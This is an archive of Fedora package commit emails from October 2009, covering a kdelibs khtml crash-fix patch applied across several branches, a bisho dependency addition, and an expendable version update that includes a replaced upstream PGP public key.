Date: Mon, 12 Oct 2009 16:31:15 +0000 (UTC)
Subject: rpms/kdelibs/F-10 kdelibs-4.3.2-kde#1033984.patch, NONE,
	1.1 kdelibs.spec, 1.443, 1.444
Message-ID: <20091012163115.5172811C00DB@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19213/F-10

Modified Files:
	kdelibs.spec 
Added Files:
	kdelibs-4.3.2-kde#1033984.patch 
Log Message:
fix another khtml kpart crasher
(to go with the previous one)


kdelibs-4.3.2-kde#1033984.patch:
 khtml_part.cpp |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE kdelibs-4.3.2-kde#1033984.patch ---
Index: khtml/khtml_part.cpp
===================================================================
--- khtml/khtml_part.cpp	(revision 1033983)
+++ khtml/khtml_part.cpp	(revision 1033984)
@@ -609,7 +609,8 @@
 
   if ( d->m_view )
   {
-    widget()->hide();
+    if (widget())
+        widget()->hide();
     d->m_view->m_part = 0;
   }
 


Index: kdelibs.spec
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/F-10/kdelibs.spec,v
retrieving revision 1.443
retrieving revision 1.444
diff -u -p -r1.443 -r1.444
--- kdelibs.spec	8 Oct 2009 18:29:53 -0000	1.443
+++ kdelibs.spec	12 Oct 2009 16:31:14 -0000	1.444
@@ -4,7 +4,7 @@
 
 Summary: K Desktop Environment 4 - Libraries
 Version: 4.3.2
-Release: 3%{?dist}
+Release: 4%{?dist}
 
 Name: kdelibs
 Epoch: 6
@@ -81,6 +81,7 @@ Patch24: kdelibs-4.3.1-drkonq.patch
 # 4.3 branch
 Patch100: kdelibs-4.3.2-kde#209712.patch
 Patch101: kdelibs-4.3.2-kde#207173.patch
+Patch102: kdelibs-4.3.2-kde#1033984.patch
 
 # security fix
 Patch200: kdelibs-4.3.1-CVE-2009-2702.patch
@@ -205,6 +206,7 @@ format for easy browsing.
 # 4.3
 %patch100 -p0 -b .kde#209712
 %patch101 -p4 -b .kde#207173.patch
+%patch102 -p0 -b .kde#1033984
 
 # security fix
 %patch200 -p1 -b .CVE-2009-2702
@@ -397,6 +399,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 12 2009 Luk?? Tinkl <ltinkl at redhat.com> - 4.3.2-4
+- khtml kpart crasher nr. 2 (rev.1033984)
+
 * Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
 - khtml kpart crasher (kde #207173/209876)
 



From ltinkl at fedoraproject.org  Mon Oct 12 16:31:16 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Mon, 12 Oct 2009 16:31:16 +0000 (UTC)
Subject: rpms/kdelibs/F-11 kdelibs-4.3.2-kde#1033984.patch, NONE,
	1.1 kdelibs.spec, 1.497, 1.498
Message-ID: <20091012163116.02ECE11C00DB@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19213/F-11

Modified Files:
	kdelibs.spec 
Added Files:
	kdelibs-4.3.2-kde#1033984.patch 
Log Message:
fix another khtml kpart crasher
(to go with the previous one)


kdelibs-4.3.2-kde#1033984.patch:
 khtml_part.cpp |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE kdelibs-4.3.2-kde#1033984.patch ---
Index: khtml/khtml_part.cpp
===================================================================
--- khtml/khtml_part.cpp	(revision 1033983)
+++ khtml/khtml_part.cpp	(revision 1033984)
@@ -609,7 +609,8 @@
 
   if ( d->m_view )
   {
-    widget()->hide();
+    if (widget())
+        widget()->hide();
     d->m_view->m_part = 0;
   }
 


Index: kdelibs.spec
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/F-11/kdelibs.spec,v
retrieving revision 1.497
retrieving revision 1.498
diff -u -p -r1.497 -r1.498
--- kdelibs.spec	8 Oct 2009 18:29:53 -0000	1.497
+++ kdelibs.spec	12 Oct 2009 16:31:15 -0000	1.498
@@ -4,7 +4,7 @@
 
 Summary: K Desktop Environment 4 - Libraries
 Version: 4.3.2
-Release: 3%{?dist}
+Release: 4%{?dist}
 
 Name: kdelibs
 Epoch: 6
@@ -81,6 +81,7 @@ Patch24: kdelibs-4.3.1-drkonq.patch
 # 4.3 branch
 Patch100: kdelibs-4.3.2-kde#209712.patch
 Patch101: kdelibs-4.3.2-kde#207173.patch
+Patch102: kdelibs-4.3.2-kde#1033984.patch
 
 # security fix
 Patch200: kdelibs-4.3.1-CVE-2009-2702.patch
@@ -205,6 +206,7 @@ format for easy browsing.
 # 4.3
 %patch100 -p0 -b .kde#209712
 %patch101 -p4 -b .kde#207173.patch
+%patch102 -p0 -b .kde#1033984
 
 # security fix
 %patch200 -p1 -b .CVE-2009-2702
@@ -397,6 +399,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 12 2009 Luk?? Tinkl <ltinkl at redhat.com> - 4.3.2-4
+- khtml kpart crasher nr. 2 (rev.1033984)
+
 * Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
 - khtml kpart crasher (kde #207173/209876)
 



From ltinkl at fedoraproject.org  Mon Oct 12 16:31:17 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Mon, 12 Oct 2009 16:31:17 +0000 (UTC)
Subject: rpms/kdelibs/devel kdelibs-4.3.2-kde#1033984.patch, NONE,
	1.1 kdelibs.spec, 1.523, 1.524
Message-ID: <20091012163117.5258611C00DB@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19213/devel

Modified Files:
	kdelibs.spec 
Added Files:
	kdelibs-4.3.2-kde#1033984.patch 
Log Message:
fix another khtml kpart crasher
(to go with the previous one)


kdelibs-4.3.2-kde#1033984.patch:
 khtml_part.cpp |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE kdelibs-4.3.2-kde#1033984.patch ---
Index: khtml/khtml_part.cpp
===================================================================
--- khtml/khtml_part.cpp	(revision 1033983)
+++ khtml/khtml_part.cpp	(revision 1033984)
@@ -609,7 +609,8 @@
 
   if ( d->m_view )
   {
-    widget()->hide();
+    if (widget())
+        widget()->hide();
     d->m_view->m_part = 0;
   }
 


Index: kdelibs.spec
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/devel/kdelibs.spec,v
retrieving revision 1.523
retrieving revision 1.524
diff -u -p -r1.523 -r1.524
--- kdelibs.spec	8 Oct 2009 18:27:04 -0000	1.523
+++ kdelibs.spec	12 Oct 2009 16:31:16 -0000	1.524
@@ -4,7 +4,7 @@
 
 Summary: K Desktop Environment 4 - Libraries
 Version: 4.3.2
-Release: 3%{?dist}
+Release: 4%{?dist}
 
 Name: kdelibs
 Epoch: 6
@@ -81,6 +81,7 @@ Patch24: kdelibs-4.3.1-drkonq.patch
 # 4.3 branch
 Patch100: kdelibs-4.3.2-kde#209712.patch
 Patch101: kdelibs-4.3.2-kde#207173.patch
+Patch102: kdelibs-4.3.2-kde#1033984.patch
 
 # security fix
 Patch200: kdelibs-4.3.1-CVE-2009-2702.patch
@@ -205,6 +206,7 @@ format for easy browsing.
 # 4.3
 %patch100 -p0 -b .kde#209712
 %patch101 -p4 -b .kde#207173.patch
+%patch102 -p0 -b .kde#1033984
 
 # security fix
 %patch200 -p1 -b .CVE-2009-2702
@@ -397,6 +399,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 12 2009 Luk?? Tinkl <ltinkl at redhat.com> - 4.3.2-4
+- khtml kpart crasher nr. 2 (rev.1033984)
+
 * Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
 - khtml kpart crasher (kde #207173/209876)
 



From ltinkl at fedoraproject.org  Mon Oct 12 16:31:16 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Mon, 12 Oct 2009 16:31:16 +0000 (UTC)
Subject: rpms/kdelibs/F-12 kdelibs-4.3.2-kde#1033984.patch, NONE,
	1.1 kdelibs.spec, 1.521, 1.522
Message-ID: <20091012163116.9487E11C00DB@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19213/F-12

Modified Files:
	kdelibs.spec 
Added Files:
	kdelibs-4.3.2-kde#1033984.patch 
Log Message:
fix another khtml kpart crasher
(to go with the previous one)


kdelibs-4.3.2-kde#1033984.patch:
 khtml_part.cpp |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE kdelibs-4.3.2-kde#1033984.patch ---
Index: khtml/khtml_part.cpp
===================================================================
--- khtml/khtml_part.cpp	(revision 1033983)
+++ khtml/khtml_part.cpp	(revision 1033984)
@@ -609,7 +609,8 @@
 
   if ( d->m_view )
   {
-    widget()->hide();
+    if (widget())
+        widget()->hide();
     d->m_view->m_part = 0;
   }
 


Index: kdelibs.spec
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/F-12/kdelibs.spec,v
retrieving revision 1.521
retrieving revision 1.522
diff -u -p -r1.521 -r1.522
--- kdelibs.spec	8 Oct 2009 18:27:05 -0000	1.521
+++ kdelibs.spec	12 Oct 2009 16:31:16 -0000	1.522
@@ -4,7 +4,7 @@
 
 Summary: K Desktop Environment 4 - Libraries
 Version: 4.3.2
-Release: 3%{?dist}
+Release: 4%{?dist}
 
 Name: kdelibs
 Epoch: 6
@@ -81,6 +81,7 @@ Patch24: kdelibs-4.3.1-drkonq.patch
 # 4.3 branch
 Patch100: kdelibs-4.3.2-kde#209712.patch
 Patch101: kdelibs-4.3.2-kde#207173.patch
+Patch102: kdelibs-4.3.2-kde#1033984.patch
 
 # security fix
 Patch200: kdelibs-4.3.1-CVE-2009-2702.patch
@@ -205,6 +206,7 @@ format for easy browsing.
 # 4.3
 %patch100 -p0 -b .kde#209712
 %patch101 -p4 -b .kde#207173.patch
+%patch102 -p0 -b .kde#1033984
 
 # security fix
 %patch200 -p1 -b .CVE-2009-2702
@@ -397,6 +399,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 12 2009 Luk?? Tinkl <ltinkl at redhat.com> - 4.3.2-4
+- khtml kpart crasher nr. 2 (rev.1033984)
+
 * Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
 - khtml kpart crasher (kde #207173/209876)
 



From pbrobinson at fedoraproject.org  Mon Oct 12 16:46:33 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 12 Oct 2009 16:46:33 +0000 (UTC)
Subject: rpms/bisho/devel bisho.spec,1.10,1.11
Message-ID: <20091012164633.A85D311C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/bisho/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22997

Modified Files:
	bisho.spec 
Log Message:
- Add new nbtk dep


Index: bisho.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/devel/bisho.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- bisho.spec	12 Oct 2009 16:09:17 -0000	1.10
+++ bisho.spec	12 Oct 2009 16:46:33 -0000	1.11
@@ -1,6 +1,6 @@
 Name:           bisho
 Version:        0.14
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Moblin configuration tool for mojito social network aggregator
 
 Group:          System Environment/Libraries
@@ -14,6 +14,7 @@ BuildRequires: gtk2-devel
 BuildRequires: gnome-keyring-devel
 BuildRequires: libsoup-devel
 BuildRequires: mojito-devel
+BuildRequires: nbtk-devel
 BuildRequires: rest-devel
 BuildRequires: unique-devel
 BuildRequires: desktop-file-utils
@@ -91,6 +92,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/48x48/apps/bisho.png
 
 %changelog
+* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.14-2
+- Add new nbtk dep
+
 * Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.14-1
 - New upstream 0.14 release
 



From twaugh at fedoraproject.org  Mon Oct 12 16:56:33 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Mon, 12 Oct 2009 16:56:33 +0000 (UTC)
Subject: rpms/expendable/devel expendable-0.0.9.tar.xz.sig, NONE,
	1.1 .cvsignore, 1.8, 1.9 expendable.spec, 1.18, 1.19 sources,
	1.8, 1.9 upstream-key.gpg, 1.1, 1.2 expendable-0.0.8.tar.bz2.sig,
	1.1, NONE
Message-ID: <20091012165633.C003B11C00DB@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/expendable/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24693

Modified Files:
	.cvsignore expendable.spec sources upstream-key.gpg 
Added Files:
	expendable-0.0.9.tar.xz.sig 
Removed Files:
	expendable-0.0.8.tar.bz2.sig 
Log Message:
* Mon Oct 12 2009 Tim Waugh <twaugh at redhat.com> 0.0.9-1
- 0.0.9.



--- NEW FILE expendable-0.0.9.tar.xz.sig ---
??

Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/expendable/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	4 Jan 2009 23:25:58 -0000	1.8
+++ .cvsignore	12 Oct 2009 16:56:33 -0000	1.9
@@ -5,3 +5,4 @@ expendable-0.0.5.tar.bz2
 expendable-0.0.6.tar.bz2
 expendable-0.0.7.tar.bz2
 expendable-0.0.8.tar.bz2
+expendable-0.0.9.tar.xz


Index: expendable.spec
===================================================================
RCS file: /cvs/pkgs/rpms/expendable/devel/expendable.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- expendable.spec	24 Jul 2009 22:26:59 -0000	1.18
+++ expendable.spec	12 Oct 2009 16:56:33 -0000	1.19
@@ -1,12 +1,12 @@
 Summary: Home finances modeling program
 Name: expendable
-Version: 0.0.8
-Release: 3%{?dist}
+Version: 0.0.9
+Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/Productivity
 URL: https://fedorahosted.org/expendable/
 # Add "?format=raw" to the following URL to download file:
-Source0: https://fedorahosted.org/expendable/attachment/wiki/ProjectReleases/%{name}-%{version}.tar.bz2
+Source0: https://fedorahosted.org/releases/e/x/expendable/%{name}-%{version}.tar.xz
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -83,6 +83,9 @@ fi
 %{_datadir}/applications/*.desktop
 
 %changelog
+* Mon Oct 12 2009 Tim Waugh <twaugh at redhat.com> 0.0.9-1
+- 0.0.9.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.0.8-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/expendable/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	4 Jan 2009 23:25:58 -0000	1.8
+++ sources	12 Oct 2009 16:56:33 -0000	1.9
@@ -1 +1 @@
-b261185e32c8966837435607fbb455bc  expendable-0.0.8.tar.bz2
+abe7718c7a9bfa718f92fcc6ec805c92  expendable-0.0.9.tar.xz


Index: upstream-key.gpg
===================================================================
RCS file: /cvs/pkgs/rpms/expendable/devel/upstream-key.gpg,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- upstream-key.gpg	29 Sep 2008 09:46:01 -0000	1.1
+++ upstream-key.gpg	12 Oct 2009 16:56:33 -0000	1.2
@@ -1,36 +1,36 @@
 -----BEGIN PGP PUBLIC KEY BLOCK-----
-Version: GnuPG v1.4.7 (GNU/Linux)
+Version: GnuPG v1.4.9 (GNU/Linux)
 
-mQGiBEa5fNcRBACJCPsz2q0hj0p5pJABzMKTb4r5lko0upe6ZYOQ2NFZw61upKzI
-uFanlwDVi3MaEHIGf8hsYr82GxTFUc+O2DFskKwEuZ3O4Q50qqkHAnMLZ2VFKXyF
-VJRPUrezpiXifbRjdV3ED0ikc7+ANArUStqbaIvjM3zJOo5GuEcO7AAPiwCgofNk
-1DG1GNH8cBxqGQoEPYrm/pkD/1e7OsMk50XXTQd77hZW1ViIQK8P4tkj65FWBgNg
-d5PyXNqGfOcskn+iVbx9cGsTgAbfP5IVlnxCmf3QE2rLelJtX++aCUmM4irDclTv
-9hn5UQf1QPqvwHFr+h6FHAg8WjHhdORc8hDlWMntmAArjmqFY4FcF/DZMzddZNgf
-jklwA/0aOef82dkwMbgmtLMcx1m0QTSBV04x2z3UIuBLdG9klhzTSCzr0EbtoSWe
-8JN5LdZr//BDJV5elyEWuiQP5uMhXkrVWCZlt3hJ8zvncO/1gnPQPzRty3IuoAyO
-j4uIWLupjdHVqqBDhJEmc+MvjRgQvUkdt07PEm5ehaRxaB36I7QdVGltIFdhdWdo
-IDx0d2F1Z2hAcmVkaGF0LmNvbT6IZgQTEQIAJgUCRrl9JAIbAwUJA8JnAAYLCQgH
-AwIEFQIIAwQWAgMBAh4BAheAAAoJEGklkaMet5kjzfYAoIjd5Y/5+BKxYMXndh4a
-54MVmEXoAJ0f1pdb+zMVcCMs/lyB2oF/+nMWwYhGBBARAgAGBQJGuX11AAoJEO3n
-xuaBAwm9DF0AnAnBbra0+WvYa1TLgdIA/ME9r/NNAJ9hXtoFm8s/rAw3YUM79wK1
-8P1RIrQcVGltIFdhdWdoIDx0aW1AY3liZXJlbGsubmV0PohmBBMRAgAmBQJGuXzX
-AhsDBQkDwmcABgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQaSWRox63mSPQowCg
-jEKmAQght3t/7JVPX6H29kZyqFYAni3DbBuKULwKMuL71PA556bVbdsMiEYEEBEC
-AAYFAka5fXUACgkQ7efG5oEDCb3VrwCfft0SMdCYReiyNoazvWmVvfPk1hgAn2JH
-1pdBUCMeMVrxbIBfngNM6Me0uQINBEa5fNcQCACqm3SBctiw150XfY5AWUFPwmJB
-xX2YTG867RiuaXntFCdERybikjmgNVVlCRudufdqs2bqeqY+oFvS3TMz7SOQmSwv
-QJbEx7WrR7RWU9l0UWMPmiOZ6ZMZjwl2qArvR28RME+n2ooFjuOV3xzb1f4itbo0
-KDshdhoXvcr93z7+vSMjAGLwrLButh1BwbadSAFyIkIyguakKak+vY5kcBPbYUh6
-AnLKWZJF/UNzC6gU4fqc1kLM7RbPLO8oXMgghqcEDK7AVQoXD13xXL6+oDCtwv1u
-zZ6HTYK4l7Dcnpr9nQALF/yepD0xqpRcAA5GFrElFxdVoF24kRKy56+eOOkTAAMG
-B/9npM+/tnF49zw4onQjqEtie1lxDKZAgOmbu34aaH0udF8n37XQdmd4z7M2/Jf8
-qFBqeO01MfYmuAfZ9esM+Sneh3/Nvmi5++kz7IKS4V6EE4DndLZW+hnO09i498Fe
-dwEkhsxpU3YqB9IL6iNjKjQgYtfYBlDJvBwtlgUzKK80toAH6XPA6j/SBjJM6vZb
-P1XpZajWbkvhKzYfqXtjXZ2dqIGbtSW8uJr1Ighr9ZYQvK0r6XkhZBoUorteQUS4
-IrweKXRGnUeOHuUXr8d7rzsufSP6ZNhQQvwG80vr8V4Z++8YKpfyv8uOwAc3GK/u
-9O+CLk4lvD4SBCVoZaSCv/9aiE8EGBECAA8FAka5fNcCGwwFCQPCZwAACgkQaSWR
-ox63mSPTcgCfUiOr+XPLLhqJEQLQHp+Y8FvU7voAnRQuODX6A2Siap8Aw09esWVq
-L7PW
-=wzDO
+mQGiBEpnDbARBADRsKGwS54yxqAoniGaI8X+saG4ezdZ1OmPr9f7L4PugzjjL7qR
+p9O7hj+RZNVM7QR9nPUFTawBTfWQisyS8/a3xiBbQxlhW8uuORhM2gTkVGGlGbCc
+jH+RT0T8t/75m6n2IXKATqugrMH60NXreQQuCKWgCrT6TroMldlVQpBaFwCgx/s0
+1KlfCY42Er0YA/DDpMgTYhUEAI0PgOpD6C8ncEpqvSYSs1qyvRsrpp86M/nyi+pm
+15+7IZhlXE53gXeSLT+dTutvVQtbXbf2DwJmAKdjQw1Y4esjxwH1bPYnPnTlIlZ6
+CHQbYO0n6u2pDnSF8sxi3ene6BSuL7NvKpejwXqLEQFGjaop5eAdDs6YvHNU3Yev
+os0UA/4t9TstI4laLwvCqZ7npwsNxT/1sXa5F09d26oTSZlJwSEmGe6+tOqAbDYn
+1mrCajNt40pGPBKXhE2UNJIBrrWSjZCAp4LSmj6KCEXs35fpmUhUp54V79cC4AI/
+rezLlZIB6l4Dey1is5bkw1yOsBT6Qf4lGJHkggyUfW/ymGZfqbQdVGltIFdhdWdo
+IDx0d2F1Z2hAcmVkaGF0LmNvbT6IZgQTEQIAJgUCSmcOPwIbAwUJA8JnAAYLCQgH
+AwIEFQIIAwQWAgMBAh4BAheAAAoJEAS0Gn2aStrXYHMAoLxVaLxFP6P6rRlQtla+
+NO1KSkMBAJ9jNppMaAf2pHi1b9CoD4f4MEvOS4hGBBARAgAGBQJKZxDHAAoJEO3n
+xuaBAwm91N0AoJROznoZyHKXRxgzLyXemIA4TYMAAJ9Y9HdZOenEMw9HMg36guZK
+dBIVLLQcVGltIFdhdWdoIDx0aW1AY3liZXJlbGsubmV0PohmBBMRAgAmBQJKZw2w
+AhsDBQkDwmcABgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQBLQafZpK2tet4gCf
+VKhWbUJAcIlNpWpYD0kYgGty/ucAoIfsKq9FNBPw9pQPaDnxbKDyserxiEYEEBEC
+AAYFAkpnEMcACgkQ7efG5oEDCb0RvACePTmfisPxeKkGo6QoA42MFH5wtPIAn329
+9ur6BKDz/QrKVT13CxRoKosLuQINBEpnDbAQCACCZaJHH6EctIyz+PYBCzz889PR
+iLAOyKlbrgaR4KhVGBFttKyOJkEk+UvxLUuRkOOY6i6TWbT3qNUnZT6QkftGulal
+8MAtBf2xnJXEsyKgPkRkeDAx3uvMBfrW0wgxcFw9K6E+p8x76bFFD+FtrduDRfxk
+2jDwJgyYubnM3+nPZzZXfuFnxSRYjJcoAq4O61YdH8O79TElEGqTwd/BHeIexEf2
+BkBAscE4GCmGXTYCsLByY8sGD13U7OO3Kk4ul4FgI/mzM25zgqqhbAObjsIwJqE+
+6MXqkkylmo+noTe3zlfNdnR1xkmYUCfUc4+WeFyziHRiXMkt5OYY5wDW5WGnAAMF
+B/4gvjt8SXekSxgdFCuEOQ0J2YM4DElQkaf+Tggbr9F3hnsWfJ49gEipCWEhKPt2
+ks4kDexO/Cn6SI7SQUPiNUWylm80G1Dd+xaQ9qrN1KTsReACXOCKoRgz64MooSOj
+Qs8YIGI/ejLzPkn6mUEmFRHssd4jmmSCbF99AmVh6Z4VnkKLTG+z3KQUymF0ng5b
+AAcwTOJhlAR7xrBJGfhnRUTIaNtD+UnBsoxApeUJie2lc84Pc10p56TGomkEy3Ib
+se1kk4w3mZ8kkR57voh/PovSl/8NyPmv81oVHbJnGLKAVku4XT0IBQOBdDKeRKHB
+tlPLsK9KFx2LxhtAmQN4C/j5iE8EGBECAA8FAkpnDbACGwwFCQPCZwAACgkQBLQa
+fZpK2teQogCgg68475moQ7dh/HIUHRNJKZJfmoQAoIw92pM7V5VYMpz9kW+701Fu
+JofS
+=vrpj
 -----END PGP PUBLIC KEY BLOCK-----


--- expendable-0.0.8.tar.bz2.sig DELETED ---



From pbrobinson at fedoraproject.org  Mon Oct 12 17:00:33 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 12 Oct 2009 17:00:33 +0000 (UTC)
Subject: rpms/bisho/F-12 .cvsignore, 1.4, 1.5 bisho.spec, 1.9, 1.10 sources, 
	1.4, 1.5
Message-ID: <20091012170033.EC16B11C0268@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/bisho/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25221

Modified Files:
	.cvsignore bisho.spec sources 
Log Message:
- Add new nbtk dep


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Sep 2009 11:07:38 -0000	1.4
+++ .cvsignore	12 Oct 2009 17:00:33 -0000	1.5
@@ -1 +1 @@
-bisho-0.12.tar.bz2
+bisho-0.14.tar.bz2


Index: bisho.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/F-12/bisho.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- bisho.spec	7 Sep 2009 14:58:19 -0000	1.9
+++ bisho.spec	12 Oct 2009 17:00:33 -0000	1.10
@@ -1,6 +1,6 @@
 Name:           bisho
-Version:        0.12
-Release:        3%{?dist}
+Version:        0.14
+Release:        2%{?dist}
 Summary:        Moblin configuration tool for mojito social network aggregator
 
 Group:          System Environment/Libraries
@@ -14,6 +14,7 @@ BuildRequires: gtk2-devel
 BuildRequires: gnome-keyring-devel
 BuildRequires: libsoup-devel
 BuildRequires: mojito-devel
+BuildRequires: nbtk-devel
 BuildRequires: rest-devel
 BuildRequires: unique-devel
 BuildRequires: desktop-file-utils
@@ -91,6 +92,12 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/48x48/apps/bisho.png
 
 %changelog
+* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.14-2
+- Add new nbtk dep
+
+* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.14-1
+- New upstream 0.14 release
+
 * Mon Sep  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.12-3
 - Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	7 Sep 2009 11:07:39 -0000	1.4
+++ sources	12 Oct 2009 17:00:33 -0000	1.5
@@ -1 +1 @@
-664e71935a7ae720858212522f189ccd  bisho-0.12.tar.bz2
+437018324727e5a223511a1d414abcbe  bisho-0.14.tar.bz2



From twaugh at fedoraproject.org  Mon Oct 12 17:07:19 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Mon, 12 Oct 2009 17:07:19 +0000 (UTC)
Subject: rpms/expendable/F-12 expendable-0.0.9.tar.xz.sig, NONE,
	1.1 expendable.spec, 1.18, 1.19 sources, 1.8,
	1.9 upstream-key.gpg, 1.1, 1.2 expendable-0.0.8.tar.bz2.sig, 1.1, NONE
Message-ID: <20091012170719.2F0C811C00DB@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/expendable/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26760

Modified Files:
	expendable.spec sources upstream-key.gpg 
Added Files:
	expendable-0.0.9.tar.xz.sig 
Removed Files:
	expendable-0.0.8.tar.bz2.sig 
Log Message:
* Mon Oct 12 2009 Tim Waugh <twaugh at redhat.com> 0.0.9-1
- 0.0.9.



--- NEW FILE expendable-0.0.9.tar.xz.sig ---
??

Index: expendable.spec
===================================================================
RCS file: /cvs/pkgs/rpms/expendable/F-12/expendable.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- expendable.spec	24 Jul 2009 22:26:59 -0000	1.18
+++ expendable.spec	12 Oct 2009 17:07:18 -0000	1.19
@@ -1,12 +1,12 @@
 Summary: Home finances modeling program
 Name: expendable
-Version: 0.0.8
-Release: 3%{?dist}
+Version: 0.0.9
+Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/Productivity
 URL: https://fedorahosted.org/expendable/
 # Add "?format=raw" to the following URL to download file:
-Source0: https://fedorahosted.org/expendable/attachment/wiki/ProjectReleases/%{name}-%{version}.tar.bz2
+Source0: https://fedorahosted.org/releases/e/x/expendable/%{name}-%{version}.tar.xz
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -83,6 +83,9 @@ fi
 %{_datadir}/applications/*.desktop
 
 %changelog
+* Mon Oct 12 2009 Tim Waugh <twaugh at redhat.com> 0.0.9-1
+- 0.0.9.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.0.8-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/expendable/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	4 Jan 2009 23:25:58 -0000	1.8
+++ sources	12 Oct 2009 17:07:18 -0000	1.9
@@ -1 +1 @@
-b261185e32c8966837435607fbb455bc  expendable-0.0.8.tar.bz2
+abe7718c7a9bfa718f92fcc6ec805c92  expendable-0.0.9.tar.xz


Index: upstream-key.gpg
===================================================================
RCS file: /cvs/pkgs/rpms/expendable/F-12/upstream-key.gpg,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- upstream-key.gpg	29 Sep 2008 09:46:01 -0000	1.1
+++ upstream-key.gpg	12 Oct 2009 17:07:18 -0000	1.2
@@ -1,36 +1,36 @@
 -----BEGIN PGP PUBLIC KEY BLOCK-----
-Version: GnuPG v1.4.7 (GNU/Linux)
+Version: GnuPG v1.4.9 (GNU/Linux)
 
